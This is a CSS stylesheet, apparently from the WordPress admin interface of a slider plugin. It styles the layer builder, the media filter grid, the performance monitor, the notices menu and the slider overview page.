.waitaminute-message  { position:absolute; top:50%;width:100%;text-align: center; color:#fff; font-size:50px; font-weight: 600; line-height:60px; transform: translateY(-50%); font-family: "Open Sans",sans-serif;}

.waitaminute-message i.eg-icon-emo-coffee,
.waitaminute-message i.eg-icon-emo-coffee:before {  color:#fff !important;margin-bottom:15px;}




/******************************
 -  MEDIA FILTER GRID -
*******************************/
#inst-filter-grid { display: block; margin-top: 20px;   }


.inst-filter-griditem:hover {
    border: 3px solid #fff;
    padding: 0;
    box-sizing: border-box;
}

.inst-filter-griditem.selected,
.inst-filter-griditem.selected:hover {
    border: 3px solid #006dd2;
    padding: 0;
    box-sizing: border-box;
}

.inst-filter-griditem {
    cursor: pointer;
    position: relative;
    width: 52px;  /*69*/
    height: 52px;
    display: inline-block;
    margin-right: 5px;
    margin-bottom: 1px;    
}

#inst-filter-grid .inst-filter-griditem:nth-child(5n) {
  margin-right: 0px;
}

.inst-filter-griditem .ifgname {
   display: none;
}

.inst-filter-griditem-img {
    z-index: 2;
    width: 100%;
    height: 100%;
    background-size: cover;
    background-position: center center;    
    position: relative;
}


/******************************
 -  HTML LAYER STYLING  -
*******************************/
/*ACCESSOIRESS*/
._borders_        { position: absolute;background: #000; display:none;}
._tb_             { top: 0px;left:0px;height: 1px; width: 100%; border-top:1px dashed #fff;}
._bb_             { bottom: 0px;left:0px;height: 1px; width:100%;border-bottom:1px dashed #fff}
._lb_             { top: 0px;left:0px;width: 1px; height:100%;border-left:1px dashed #fff}
._rb_             { top: 0px;right:0px;width: 1px; height:100%;border-right:1px dashed #fff}



/* COLUMN AND ROW PADDING AND MARGIN DISPLAY */

._c_paddings,
._c_margins       { position:absolute; background:rgba(0,109,210,0.25); display:block; visibility:hidden; background-clip: content-box; box-sizing: border-box; pointer-events: none; z-index: 20;}
._c_margins       {  background: rgba(248,44,144,0.25);background-clip: content-box; }

._topm_,
._topp_           { top:0px;left:0px; width:100%; height:10px;}
._botm_,
._botp_           { bottom:0px;left:0px; width:100%; height:10px;}
._lefm_,
._lefp_           { top:0px;left:0px; height:100%; width:10px; }
._rigm_,
._rigp_           { top:0px;right:0px; height:100%; width:10px;}


#rev_builder.inAnimationMode ._c_paddings,
#rev_builder.inAnimationMode ._c_margins { background-color: rgba(94,53,177,0.25); }



/*._lc_.rs-linebreak ._lc_content_:before   { content: "linebreak";text-align: center;width: 100%;height: 1px;position: absolute;left: 0px;font-size: 12px;line-height: 0px;top: 50%;margin-top:-1px;vertical-align: top;display: block; color:#006dd2;}*/
._lc_.rs-linebreak ._lc_content_:after    { content: " "; width: 100%;height: 100%; position: absolute;top: 0px;left: 0px;  background:rgba(248,44,144,0.25); display:none;}  


._lc_._lc_type_column:hover ._lc_.rs-linebreak ._lc_content_:after,
._lc_._lc_type_row:hover ._lc_.rs-linebreak ._lc_content_:after,
._lc_._lc_type_column.selected ._lc_.rs-linebreak ._lc_content_:after,
._lc_._lc_type_row.selected ._lc_.rs-linebreak ._lc_content_:after { display: block; }

._lc_._lc_type_row:hover >._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_>._c_paddings,
._lc_._lc_type_row.selected >._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_>._c_paddings,

._lc_._lc_type_row:hover >._c_paddings,
._lc_._lc_type_row.selected >._c_paddings,
._lc_._lc_type_row:hover >._c_margins,
._lc_._lc_type_row.selected >._c_margins,

._lc_._lc_type_column:hover ._c_paddings,
._lc_._lc_type_column.selected ._c_paddings,
._lc_._lc_type_column:hover ._c_margins,
._lc_._lc_type_column.selected ._c_margins { display: block; visibility: visible }

._lc_hordistance,
._lc_verdistance  {position: absolute; display:none;z-index:1000; opacity:0.5;}

._lc_hordistance .material-icons,
._lc_verdistance .material-icons { color: #006dd2; position: absolute; font-size: 25px }
._lc_verdistance    { width: 1px;height: 100px; border-left:1px dotted #006dd2;}
._lc_hordistance    { height: 1px;width: 100px; border-top:1px dotted #006dd2;}

._lc_ >.ui-resizable-handle {  width:7px;height:7px; background:transparent; border:none; border-radius: 50%;display:none !important;}
._lc_.selected >.ui-resizable-handle { display: block !important; z-index:15;}


._lc_ >.ui-resizable-n { top:-3px;left:0;width:100%;height:6px;}
._lc_ >.ui-resizable-s { bottom:-3px;left:0;width:100%;height:6px;}
._lc_ >.ui-resizable-e { top:0;height:100%;right:-3px;width:6px;}
._lc_ >.ui-resizable-w { top:0;height:100%;left:-3px;width:6px;}

._lc_ >.ui-resizable-n:before,
._lc_ >.ui-resizable-s:before,
._lc_ >.ui-resizable-e:before,
._lc_ >.ui-resizable-w:before { position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); width: 7px; height: 7px; border-radius: 50%; background: #fff; border: 1px solid #000; content: " "; }

.dropSensorActive ._lc_ { /*filter: blur(5px); */opacity: 0.5; }
.dropSensorActive ._lc_.selected,
.dropSensorActive ._lc_.selected ._lc_,
.dropSensorActive ._lc_type_row ._lc_,
.dropSensorActive ._lc_.ui-draggable-dragging,
.dropSensorActive ._lc_.ui-draggable-dragging ._lc_,
.dropSensorActive ._lc_.dont_blur,
.dropSensorActive .drop_in_root>._lc_,
.dropSensorActive ._lc_.dont_blur ._lc_ { opacity: 1; }

._lc_content_ .rs_splitted_lines {/* perspective: 1200px; */}


._lc_video_title_ { width: 100%; height: 25px; line-height: 25px; color: #fff; background: #006dd2; font-size: 12px; padding: 0px 5px; position: absolute; bottom: 0px;left: 0px; z-index: 2; text-transform: uppercase; text-align: center; font-weight: 600 }
._lc_video_placeholder_ { position: absolute; display:block; width: 100%;height: 100%; top: 0px; left: 0px  }

#rev_builder.inAnimationMode ._lc_video_title_ { background:rgba(94,53,177,0.75); }

/*WRAP LEVEL 0*/
._lc_             { position:absolute; width:auto;height:auto;box-sizing: border-box; cursor:move; line-height: 0}
._lc_.hoveredinlist { z-index: 1500 !important;  visibility: visible !important; }


._lc_.closetotop .toolcrumb    { top: 100%; }

/* COMMON HOVERS */
._lc_.hoveredinlist>._borders_,
._lc_:hover>._borders_,
._lc_.selected>._borders_,
._lc_.ui-draggable-dragging>._borders_  { display: block; z-index: 10}

/* NONE SELECTED HOVERS */
.layersInDragorResize ._lc_type_group,
._lc_.selected._lc_type_group,
._lc_._lc_type_group:hover { box-shadow: 0px 0px 0px 1px #006dd2;}

#rev_builder.inAnimationMode .layersInDragorResize ._lc_type_group,
#rev_builder.inAnimationMode ._lc_.selected._lc_type_group,
#rev_builder.inAnimationMode ._lc_._lc_type_group:hover { box-shadow: none !important }

/*._lc_._lc_type_group.nocontent*/

.layersInDragorResize ._lc_type_row,
.layersInDragorResize ._lc_type_column,

._lc_._lc_type_row.nocontent,
._lc_._lc_type_row.nocontent ._lc_._lc_type_column { box-shadow:0px 0px 0px 1px #006dd2; }

._lc_._lc_type_row.nocontent>._lc_loop_> ._lc_mask_ > ._lc_iw_ > ._lc_content_ { min-height: 100px !important }

._lc_.hoveredinlist>._borders_,
._lc_:hover>._borders_ { background: transparent; border-color: transparent; }

#rev_builder.inAnimationMode ._lc_.hoveredinlist.selected>._borders_, 
#rev_builder.inAnimationMode ._lc_:hover>._borders_ {
    background: #000;
    border-color: #fff;
}

._lc_:hover._lc_type_group { box-shadow: 0px 0px 0px 2px #006dd2;}

._lc_:hover,
._lc_.nocontent:hover,
._lc_.hoveredinlist,
._lc_.nocontent.hoveredinlist,
._lc_._lc_type_row.nocontent ._lc_._lc_type_column:hover { box-shadow:0px 0px 0px 2px #006dd2;}


.nohiglightboxes ._lc_._lc_type_row.nocontent,
.nohiglightboxes ._lc_._lc_type_row.nocontent ._lc_._lc_type_column,
.nohiglightboxes ._lc_:hover._lc_type_group,
.nohiglightboxes ._lc_:hover,
.nohiglightboxes ._lc_.nocontent:hover,
.nohiglightboxes ._lc_.hoveredinlist,
.nohiglightboxes ._lc_.nocontent.hoveredinlist,
.nohiglightboxes ._lc_._lc_type_row.nocontent ._lc_._lc_type_column:hover { box-shadow:none !important}

.nohiglightboxes ._group_head_,
.nohiglightboxes ._c_paddings,
.nohiglightboxes ._c_margins { visibility: hidden !important }



._lc_.actionDependent { box-shadow:0px 0px 0px 1px #f82c90; }
._lc_.actionDependent.actionselected { box-shadow:0px 0px 0px 3px #f82c90; }

#rb_tlw ._lc_ i { font-size: inherit; line-height: inherit }

._lc_._lc_type_row:hover { z-index: 10000 !important }
._lc_._lc_type_column:hover { z-index: 10010 !important }


/* DROP SENSOR , MANIOULATE DROPPABLE TARGETS */
.dropSensorActive ._lc_.drop_over_layer ._lc_type_column { outline: 1px solid #006dd2; opacity: 0.5; vertical-align: top;}
.dropSensorActive ._lc_.drop_over_layer { box-shadow: 0px 0px 0px 5px #006dd2; }
.dropSensorActive ._lc_.drop_over_layer ._lc_group_placeholder { display: none; }
.dropSensorActive ._lc_.drop_over_layer ._lc_type_column.drop_over_layer { outline: 2px solid #006dd2; opacity:1;}

.dropSensorActive ._lc_type_column.drop_before_firstlayer >._lc_loop_ > ._lc_mask_ >._lc_iw_ >._lc_content_ >._lc_:first-child:before,
.dropSensorActive ._lc_type_column.drop_after_lastlayer >._lc_loop_ > ._lc_mask_ >._lc_iw_ >._lc_content_ >._lc_:last-child:after,

.dropSensorActive ._lc_type_row ._lc_.drop_before_layer:before { content: " "; position: absolute;  width: 100%; height: 5px;  background: #006dd2; z-index: 100; display:block; vertical-align: top;left: 0px; top:-5px;}
.dropSensorActive ._lc_type_row ._lc_.drop_before_layer:after { content: " "; position: absolute; width: 5px; height: 100%; left: -5px;  background:#006dd2; z-index:100; display: block; vertical-align: top; top:0px;}

.dropSensorActive ._lc_type_row ._lc_.drop_after_layer:after { content: " "; position: absolute;  width: 100%; height: 5px; background: #006dd2; z-index: 100; display:block; vertical-align: top; left:0px; bottom:-5px;}
.dropSensorActive ._lc_type_row ._lc_.drop_after_layer:before { content: " "; position: absolute; width: 5px; height: 100%; right: -5px;  background:#006dd2; z-index:100; display: block; vertical-align: top; top:0px; }

 
 

.debug_coordinates span { display:inline-block;min-width:40px;color:#fff;line-height:15px; font-size:12px; margin-left:10px;}

/* SELECTED HOVERS */
._lc_.hoveredinlist.selected>._borders_,
._lc_.selected:hover>._borders_ { background: #000; border-color: #fff; }

/*._lc_.selected:hover,
._lc_.selected.hoveredinlist { outline:none; }*/

/*WRAP LEVEL 1*/
._lc_loop_,
._lc_mask_              { position: relative; width:auto;height:auto;box-sizing: border-box;z-index: 1; vertical-align: inherit;}

/*WRAP LEVEL 2*/
._lc_iw_                { position: relative; width:auto;height:auto;box-sizing: border-box; vertical-align: inherit;}

/*WRAP LEVEL 3*/
._lc_content_            { position: relative; width:auto;height:auto;box-sizing: border-box; vertical-align: inherit}
._lc_image_inside_       {  width: 100%;height:100%; z-index: 2; position: relative; vertical-align: top; 
                          -webkit-touch-callout: none; /* iOS Safari */
                            -webkit-user-select: none; /* Safari */
                             -khtml-user-select: none; /* Konqueror HTML */
                               -moz-user-select: none; /* Old versions of Firefox */
                                -ms-user-select: none; /* Internet Explorer/Edge */
                                    user-select: none;
                          }

._lc_img_placeholder     {  z-index: 1; position: absolute; width:100%;height:100%; background:rgba(0,109,210,0.75); display:none; top:0px; left:0px; overflow:hidden;}
._lc_img_placeholder i.material-icons { position: absolute; top: 50%;left: 50%; font-size: 50px !important; transform: translateX(-50%) translateY(-50%); color:#fff;}

._lc_stream_placeholder     {  z-index: 1; position: absolute; width:100%;height:100%; background:rgba(0,109,210,0.75); display:none; top:0px; left:0px; overflow:hidden;}
._lc_stream_placeholder i.material-icons { position: absolute; top: 50%;left: 50%; font-size: 50px !important; transform: translateX(-50%) translateY(-50%); color:#fff;}

.placeholder_on>._lc_stream_placeholder,
.placeholder_on>._lc_img_placeholder { display: block; }

._lc_type_shape ._lc_content_.placeholder_on { background: none !important; }



._lc_group_placeholder     {  z-index: 1; position: absolute; width:100%;height:100%; background:rgba(0,109,210,0.75); display:block; top:0px; left:0px;}
._lc_group_placeholder i.material-icons { position: absolute; top: 50%;left: 50%; font-size: 50px !important; transform: translateX(-50%) translateY(-50%); color:#fff;}
._lc_type_group>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_>._lc_+._lc_group_placeholder { display: none; }

#rev_builder.inAnimationMode ._lc_group_placeholder,
#rev_builder.inAnimationMode ._lc_img_placeholder { background:rgba(94,53,177,0.75); }

/* GROUP LAYER AND ITS LOCK/UNLOCK FEATURE */
._group_head_ { display:none; width: 100%; height: 25px; top: 0px; left: 0px; z-index: 80; background: #006dd2; line-height: 25px; font-size: 13px; color: #fff; padding: 0px 10px; position: absolute; opacity: 0.5; overflow: hidden; }
._group_head_title_ { overflow: hidden;white-space: nowrap; width:75%; position: absolute; top:0px; left:0px; padding: 0px 10px;}

._lc_type_group ._group_lock_ { display:none; z-index: 5000; width: 100%; height: 100%; background: transparent; position: absolute;top: 0px;left: 0px; cursor: move;  }
._group_lock_ i.material-icons { position: absolute;left: 50%;top: 50%;transform: translateX(-50%) translateY(-50%);font-size: 40px !important; line-height: 40px !important;  opacity: 0.5;}

._group_lock_toggle_ { width: 25px; height: 25px; position: absolute; right: 0px; top: 0px; cursor: pointer;  text-align: center;     border-left: 1px solid rgba(255,255,255,0.1);}
#rb_tlw i.material-icons.group_lock_icon      { display: none; }
#rb_tlw i.material-icons.group_lockopen_icon  { display: inline-block; }
#rb_tlw ._lc_type_group._group_locked_ i.material-icons.group_lockopen_icon { display: none }
#rb_tlw ._lc_type_group._group_locked_ i.material-icons.group_lock_icon { display: inline-block }
._lc_type_group.selected._group_locked_ ._group_lock_,
._lc_type_group._group_locked_:hover ._group_lock_ { display: block; }

.layersInDragorResize ._lc_type_group ._group_head_,
._lc_type_group:hover ._group_head_ { display: block; }

._group_head_:hover { opacity: 1 }




._lc_type_video ._lc_img_placeholder i { margin-top: -10px; }

._lc_type_audio audio { display: none; pointer-events: none; width: 100%; height: 100%; } 
._lc_type_audio .audio_controls_on audio { display: block; }

#media_audio_wave_wrap { position: relative; width: 100%; box-sizing: border-box;}
#media_audio_master {  border: 1px solid #3f444a;  height:30px; box-sizing: border-box; min-width:245px; max-width: 245px; width: 245px; position: absolute;top:0px; left:35px; border-radius: 3px}
#audio_simulator.disabled { pointer-events: none; opacity: 0.5; }

.wavesurfer-region { box-sizing: border-box; background:transparent;}
.wavesurfer-handle-start { width: 6px;  border-left: 2px solid #006dd2; border-top:2px solid #006dd2; border-bottom:2px solid #006dd2; height:25px !important;}
.wavesurfer-handle-end { width: 6px;  border-right: 2px solid #006dd2; border-top:2px solid #006dd2; border-bottom:2px solid #006dd2; max-width: 6px; left:auto !important; right:0px; height:25px !important;}


/* LC TYPES */

._lc_type_row { width: 100%;position: relative; cursor: pointer; pointer-events: auto}
._lc_type_row ._lc_ { position: relative;}
._lc_type_row>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_ { display: table; width: 100%; }
._lc_type_column { display: table-cell;width: 100%; vertical-align: top; cursor:pointer;}

._lc_extra_bg_wrap,
._lc_extra_bg  { position: absolute;z-index: 0; background: transparent;}

._lc_type_group ._lc_extra_bg { top: 0px; left: 0px; }

._lc_extra_bg {/*width: 100%;height: 100%; */}
._lc_type_video ._lc_loop_,
._lc_type_video ._lc_mask_,
._lc_type_video ._lc_iw_,
._lc_type_shape ._lc_loop_,
._lc_type_shape ._lc_mask_,
._lc_type_shape ._lc_iw_,
._lc_type_image ._lc_loop_,
._lc_type_image ._lc_mask_,
._lc_type_image ._lc_iw_ { width: 100%; height: 100%; }

/*
ROW WRAPPERS
*/
.row_wrapper_top,
.row_wrapper_middle,
.row_wrapper_bottom { position: absolute;height: auto;left: 0px;width: 100%; z-index: 3; box-sizing: border-box; pointer-events: none;}

.row_wrapper_middle { top: 50%;transform: translateY(-50%);}
.row_wrapper_top { top: 0px;}
.row_wrapper_bottom { top: auto; bottom:0px;}

/* perfect scrollbar fix */
#rev_builder_inner {position: relative; height:auto; /*KRIKI*/}
#rev_builder_inner.hide_all_nonezone .layer_grid>._lc_,
#rev_builder_inner.hide_all_zone .row_wrapper_top,
#rev_builder_inner.hide_all_zone .row_wrapper_middle,
#rev_builder_inner.hide_all_zone .row_wrapper_bottom { pointer-events: none !important; opacity: 0.2 !important;  }



/* DRAGGING LAYERS */
._lc_.ui-draggable-dragging {  z-index: 500; opacity: 1; box-shadow: 0px 15px 50px 0px rgba(0,0,0,0.25);   }
#dropSensor { display: none; position: absolute; top: 0px;left: 0px;width: 100%;height: 100%; background: transparent }

#rev_slider_ul_inner.dropSensorActive #dropSensor { display: block;z-index:499  }

._lc_._locked_ { pointer-events: none; }

._lc_>._lc_locked_bg_{ display: none;  z-index:50; position:absolute; top:0px; left:0px; width:100%; height:100%; outline:1px solid rgba(255,0,0,0.25); background: transparent; /*url(../images/red_diag2x.png); background-size: 10px 10px; background-repeat: repeat; */}
._lc_>._lc_locked_ { z-index:51; display:none;position: absolute; left:50%;top:50%; margin-left: -10px; margin-top: -10px; color:#fff; text-shadow:0px 2px  rgba(0,0,0,0.5); font-size: 20px}

._lc_._locked_ >._lc_locked_bg_ { display: block; }
/*._lc_._locked_ >._lc_locked_ { display: block; }*/


._lc_._unvisible_ { visibility: hidden !important; pointer-events: none !important; opacity: 0 !important;}
._lc_._unvisible_.hoveredinlist { visibility: visible !important;opacity: 1 !important; }

/* LAYER INPOUT FIELDS -  EXTRAS */

#rev_builder.inAnimationMode ._lc_:hover>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before,
#rev_builder.inAnimationMode ._lc_.selected>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before,
#rev_builder.inAnimationMode ._lc_.hoveredinlist>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before { content:" "; width:100%;height:100%; box-sizing:border-box; top:0px; left:0px; border:2px solid #5e35b1; position: absolute;z-index:50; pointer-events: none}

 

#the_editor.nohiglightboxes #rev_builder.inAnimationMode ._lc_:hover>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before,
#the_editor.nohiglightboxes #rev_builder.inAnimationMode ._lc_.selected>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before,
#the_editor.nohiglightboxes #rev_builder.inAnimationMode ._lc_.hoveredinlist>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before { display: none !important; }

#rev_builder.inAnimationMode ._lc_:hover,
#rev_builder.inAnimationMode ._lc_.nocontent:hover,
#rev_builder.inAnimationMode ._lc_.hoveredinlist { box-shadow: none !important; }
#rev_builder.inAnimationMode ._lc_.selected>.ui-resizable-handle { display: none !important; }
/*#rev_builder.inAnimationMode ._lc_.selected>._borders_  */

 

/*******************************
    -IDLE / HOVER SWITCH -
 *******************************/

 .idle_hover_toggle { display: block; border-bottom: 1px solid #3f444a; line-height: 49px;  font-size:14px; font-weight: 400;}
 .idle_swap,
 .hover_swap { line-height: 49px; width: 50%; color: #797b7e; text-align: center; cursor: pointer; display: inline-block; box-sizing: border-box }

.idle_swap { border-right: 1px solid #3f444a; }

.__idle_selected__ .idle_swap,
.__hover_selected__ .hover_swap { color: #ffffff; }

.__hover_selected__ .__idle__,
.__idle_selected__ .__hover__ { display: none; }

 .__idle_selected__ .__idle__,
 .__hover_selected__ .__hover__ { display: block; }

 .left_right_row { padding: 0px 10px 5px; }
 .view-switch { color: #777c80; font-size: 12px; line-height: 25px; vertical-align: top; display: inline-block; height:25px;}
 .icon_trigger_wrap { display: inline-block; line-height: 25px; vertical-align: top; height: 25px; position: absolute; right: 0px; top: 0px; }
 #reset_lock_media_size_layer .icon_trigger_wrap { right: auto; left: 0px; top: 3px; }
 .vs-item { margin-right: 10px;  cursor: pointer; display: inline-block}
 .vs-item:hover,
 .vs-item.selected { color: #fff; }
 

/******************************
  - MONITOR ME  -
******************************/


.tp-monitor-list        { margin:0px 0px 20px; list-style: none;  font-weight:500; color:#777c80; line-height:17px; font-size: 13px;}
.tp-monitor-listli      { padding:2px 0px;margin:0px; list-style: none; }
.tp-monitor-size        { min-width: 100px;display: inline-block; }
.tp-monitor-file        { font-size:13px; font-weight:500;color:#777c80; width:500px; display:inline-block;line-height: 17px;}

.tp-monitor-performance-title { width:100%;}
.tp-monitor-warning,
.tp-monitor-well,
.tp-monitor-good,
.tp-monitor-neutral       { display:inline-block; line-height:17px;width:12px;height:12px;border-radius: 10px; margin:2px 10px 0px 0px;vertical-align: top}

.mo-slow-col,
.tp-monitor-warning       { background-color:#e44732;}
.mo-ok-col,
.tp-monitor-well        { background-color:#eec700;}
.mo-fast-col,
.tp-monitor-good        { background-color:#006dd2;}

.mo-neutral-col,
.tp-monitor-neutral       { background-color: #b7bbc0}

.tp-monitor-showimage,
.tp-monitor-linktoslide     { display:inline-block; width:25px; height:25px; opacity:0.5;cursor: pointer; vertical-align: top;line-height: 25px; color:#b7bbc0;}

.tp-monitor-showimage:hover,
.tp-monitor-linktoslide:hover { color: #fff; }

.tp-monitor-small-icon {     font-size: 25px;
    line-height: 30px;
    display: inline-block;
    vertical-align: top;
    margin-right: 10px;
}
.tp-monitor-showimage i,
.tp-monitor-linktoslide i { font-size: 20px; } 

.tp-monitor-showimage     {}

.tp-monitor-showimage:hover,
.tp-monitor-linktoslide:hover { opacity: 1}

.tp-monitor-smalllabel      { font-weight:400; color:#4a4c4e; line-height:15px; font-size: 11px; display: block}
.tp-monitor-total-subsize   { line-height: 27px;height:27px; box-sizing:border-box; font-size: 17px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: transparent; margin-bottom: 15px}


.tp-monitor-performace-wrap   { display: inline-block; width:287px;height:10px; background: #2a2c2f; position: relative;vertical-align: top; margin-right:15px; margin-top:6px; margin-bottom:35px;}

.tp-monitor-performace-wrap.fullpw { width: 100%; }

.tp-monitor-performance-bar   { position:absolute;top:0px;left:0px;height:10px;width:40%;}
.tp-monitor-slow,
.tp-monitor-ok,
.tp-monitor-fast        { position: absolute; line-height: 17px;
    vertical-align: top;
    display: block;
    cursor: default;
    color: #222;
    font-weight: 500;
    margin-bottom: 0px;
    font-size: 13px;
    color: #777c80;
    top: 15px;
  }



.tp-monitor-ok          { left:50%; margin-left:-8px;}
.tp-monitor-fast        { right:0px;}

.tp-monitor-loadedinfo { display: inline-block; width:116px;margin-right:10px;}

.tp-monitor-speed-table      { line-height:30px; box-sizing:border-box; font-size: 17px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: transparent}
.tp-monitor-speed-cell    { width:165px; display: inline-block}



.tp-monitor-fullsize        { line-height: 30px;height:27px; box-sizing:border-box; font-size: 17px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: transparent; margin-right: 15px}


.tp-monitor-smart-speed,
.tp-monitor-all-speed       { display: none;}
.tp-monitor-showdetails { margin-bottom: 10px; }




/*************************************************************
  
                      OVERVIEW PAGE                           
                      
*************************************************************/


/* WP CHANGES */
.toplevel_page_revslider,
.toplevel_page_revslider #wpwrap,
.toplevel_page_revslider #wpwrap #wpcontent { background: #202224; }
.toplevel_page_revslider #wpwrap.in_rs_preview { overflow: hidden; height: 100%; }

.notselectable  {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}
.linebreak,
.tp-clearfix      {display: block;height: 0px;width: 100%;}
.tp-clearfix {  clear:both;}
.rightaligned   { text-align: right}
.vertical_medium_wrap   {     top: 50%;transform: translateY(-50%);position: absolute;}


/* SLIDER OVERVIEW MENU*/

#rs_overview_menu {  opacity:0; min-height: 50px; background: #202224; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); margin-left:-20px; box-sizing: content-box; position: fixed; z-index: 9880; padding-left:75px; overflow:visible;}
.rso_scrollmenuitem { line-height: 50px; color: #62666a; /*font-size: 17px;*/ font-size: 14px; font-weight: 600; display:inline-block; /*margin-right: 50px; */ margin-right:25px; cursor: pointer;}
.rso_scrollmenuitem i.material-icons { color: inherit; font-size: 20px; line-height: 50px; /*margin-right: 10px;*/ margin-right: 5px; }

#rso_menu_notices { right: 110px; top:0px; box-sizing: border-box; font-weight: 600; position:absolute; width:50px; height:50px;}
#rs_notice_bell,
#rs_notice_the_bell { width:50px;height:50px; text-align:center; position: absolute;top:0px;left:0px; margin:0; padding:0;}
#rs_notices_wrapper { display:none;width: auto; right: 0px; line-height: 30px; padding: 0px; margin: 0px; top: 50px; position: absolute;  box-shadow:0px 15px 15px 0px rgba(0,0,0,0.5);}
#rs_notices_wrapper li { min-width:300px; max-width:600px; padding: 0px 20px;  max-width: 400px; overflow: hidden; margin: 0px; line-height: 30px; font-size: 13px;vertical-align: top; }

#rso_menu_notices:hover #rs_notices_wrapper { display: block; }
#rs_notices_wrapper li i { font-size: 17px; line-height: 30px;vertical-align: top; margin-right: 10px; color: inherit !important; }
.no_notification_function { cursor: default;filter: none !important; }
#remove_notifications { cursor: pointer }
#remove_notifications:hover { background:#3f444c; color: #fff !important; }

#rs_notice_counter { background: #921e15; color: #fff; width: 20px;height: 20px;text-align: center; position: absolute; top: 5px;left: 25px; line-height: 20px;font-size: 13px; border-radius: 10px; }
.notice_level_0#rs_notice_counter  { background:#921e15 }
.notice_level_1#rs_notice_counter  { background:#ffb818; filter: brightness(90%); color: #000; }
.notice_level_2#rs_notice_counter  { background:#3f444c; color: #b7bbc0; }

.notice_level_0 { background:#c3281c; color:#fff !important; }
.notice_level_1 { background:#ffb818; color:#000 !important;}
.notice_level_2 { background:#292c2e; color:#b7bbc0 !important;}

li.notice_level_0:hover,
li.notice_level_1:hover { filter: brightness(110%); }

#rso_menu_notices span { display: inline-block;  font-weight: 600; margin-right: 10px}
#rso_menu_notices span:last-child { margin-right: 0px; }
#rso_menu_notices grayiconbox.warning { margin-right: 10px; }
#rso_menu_notices { margin-right: 0px !important; }

.rso_scrollmenuitem grayiconbox i.material-icons { margin-right: 0px; font-size:30px;}



.rso_scrollmenuitem.active,
.rso_scrollmenuitem:hover { color: #fff; }

.rso_scrollmenuitem.active i.material-icons,
.rso_scrollmenuitem:hover i.material-icons { color: #006dd2; }

.rso_scrollmenuitem:hover i.material-icons { color:inherit }

.box_with_icon:focus,
.box_with_icon { outline:none; display:block;border: 1px solid #323438; line-height: 40px;  padding: 0px 19px; font-size: 15px; color: #797b7e; text-decoration: none;  box-sizing: border-box;  text-align: left}
a.box_with_icon { cursor: pointer; }
.box_with_icon i.material-icons { font-size: 25px; margin-right: 10px }
a.box_with_icon:hover { background: #006dd2; color: #fff; }

#activated_ornot_box.box_with_icon { background: #22a46e; color: #fff; border: none; }

.featurebox .box_with_icon,
#activated_ornot_box.not_activated.box_with_icon {/* background: #d50000; color: #fff;*/ background: #ffb818; color: #000; font-weight: 500; border:none;}

/* BASIC STYLING*/
#rs_overview .title     { font-size: 30px; font-weight: 600; color: #fff; line-height: 40px; padding:0px; margin:0px;}
#rs_overview .subtitle  { font-size: 20px; font-weight: 500; color:#797b7e; line-height: 25px; padding:0px; margin:0px}


/*Main Creation Modules*/
#add_new_slider_wrap { margin-top: 90px; }
.new_slider_block { color: #b7bbc0; width: 267px; height: 150px; position: relative; display: inline-block; background: #2a2c2f; margin-right: 20px; margin-bottom: 20px; cursor:pointer; box-sizing: border-box; padding: 30px 0px; vertical-align: top; }

.new_slider_block .nsb_title,
.rootfolder .nsb_title {  font-size: 17px; text-align: center; display: block; line-height: 20px; font-weight: 500}

.rootfolder .nsb_title { color: #b7bbc0; }
.new_slider_block:hover { background: #006dd2; color: #fff; }


#rs_overview .new_slider_block i.material-icons         { font-size: 50px; text-align: center; color: #62666a;  display: block; line-height: 50px; margin-bottom:10px;}
#rs_overview .new_slider_block:hover  i.material-icons  { color: #fff; }

#rs_overview .new_elements_available { display:none; box-shadow: 0px 11px 30px 0px rgba(0,0,0,0.5); position: absolute; top: -20px;  right:-15px; line-height: 40px; height: 40px; padding: 0px 15px; color: #fff; background: #5e35b1; font-weight: 600; font-size: 18px; border-radius: 20px; overflow: hidden;z-index:20; }


/*#new_slider_import,*/
#add_on_management { margin-right: 0px }
/*INPUT AND TRIGGER FUNCTIONS*/


/* WPML FLAG */
.flag_container { display: inline-block;vertical-align: middle; }
.wpml-img-flag {  width: 18px;height: 12px;display: inline-block;vertical-align: middle;margin-right: 10px; }
.slide_elemenet_content .wpml_flag_wrap { display: inline-block; vertical-align: top; line-height: 27px;margin-right: 10px; }
.slide_elemenet_content .wpml-img-flag { margin-left: 0px; margin-right: 0px; }

body.rs-multilanguage_off .slide_list_child_element_wrap,
body.rs-multilanguage_off #gst_slide_13,
body.rs-multilanguage_off .wpml_flag_wrap,
body.rs-multilanguage_off .addchildslide { display: none !important }


/* KRIKI - DISPLAY NONE / INLINE BLOK NICHT GUT, EXTRA LINE IN LIST VON SUBSLIDERS */

/*************************************/
/* OVERVIEW LIST OF ELEMENTS WRAPPER */
/*************************************/
#existing_sliders { margin-top: 40px;  }

#slider_folders_wrap { position: fixed; top: 0px; left: 0px; width: 330px; height: 100%; background: #202224; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); z-index: 120000; box-sizing: border-box; padding:20px;overflow:hidden; display:none;}
#slider_folders_wrap_underlay { position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; background: #23282d; opacity:0.65; z-index: 119999; cursor: pointer; display:none;}
#slider_folders_wrap .rs_library_element { margin-right: 0px; }

.folder_wrap_level_title { display: block; margin-bottom: 10px; margin-top:20px; color: #fff; z-index: 20;font-size: 17px;line-height: 40px;text-align: left; font-weight: 500; }
.folder_wrap_level_title.first_fwlt { margin-top: 0px; }
.action_button { display: inline-block; font-size: 17px; line-height: 50px; vertical-align: top; color: #797b7e;  cursor: pointer; font-weight: 500}
.action_button i.material-icons { line-height: 50px; margin-left: 5px; color: inherit; }

.action_button:hover { color: #fff; }

.overview_slide_elements,
.overview_elements { margin-right: -30px; position: relative }


